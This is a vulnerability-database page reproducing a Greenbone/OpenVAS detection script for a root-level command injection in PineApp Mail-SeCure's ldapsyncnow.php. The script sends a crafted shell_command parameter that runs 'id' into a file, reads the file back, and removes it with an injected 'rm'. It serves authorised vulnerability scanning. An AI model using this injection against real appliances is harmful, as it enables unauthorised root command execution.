Lucene search
+L

PineApp Mail-SeCure 'ldapsyncnow.php' Remote Command Injection Vulnerability

🗓️ 13 Aug 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 15 Views

PineApp Mail-SeCure 'ldapsyncnow.php' Remote Command Injection Vulnerability from 201

Refs
Code
SourceLink
securityfocuswww.securityfocus.com/bid/61474
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103758");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_name("PineApp Mail-SeCure 'ldapsyncnow.php' Remote Command Injection Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61474");

  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2013-08-13 11:34:56 +0200 (Tue, 13 Aug 2013)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 7443);
  script_exclude_keys("Settings/disable_cgi_scanning", "PineApp/missing");

  script_tag(name:"impact", value:"Successful exploits will result in the execution of arbitrary commands
  with root privileges in the context of the affected appliance.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check the response.");

  script_tag(name:"insight", value:"The specific flaw exists with input sanitization in the
  ldapsyncnow.php component. This flaw allows for the injection of arbitrary
  commands to the Mail-SeCure server. An attacker could leverage this
  vulnerability to execute arbitrary code as root.");

  script_tag(name:"solution", value:"Ask the Vendor for an update.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"PineApp Mail-SeCure is prone to a remote command-injection
  vulnerability.");

  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default:7443);
if(!http_can_host_php(port:port))
  exit(0);

resp = http_get_cache(item:"/", port:port);

if(! resp || "PineApp" >!< resp) {
  set_kb_item(name:"PineApp/missing", value:TRUE);
  exit(0);
}

vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + '.txt';

vuln_url = "/admin/ldapsyncnow.php?sync_now=1&shell_command=";
req = http_get(item:vuln_url + "id>./" + file + ";", port:port);
resp = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

req = http_get(item:"/admin/" + file, port:port);
resp = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

req = http_get(item:vuln_url + "rm%20./" + file + ";", port:port);
http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

if(resp =~ "uid=[0-9]+.*gid=[0-9]+.*") {
  report = http_report_vuln_url(port:port, url:vuln_url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Dec 2023 00:00Current
7.3High risk
Vulners AI Score7.3
15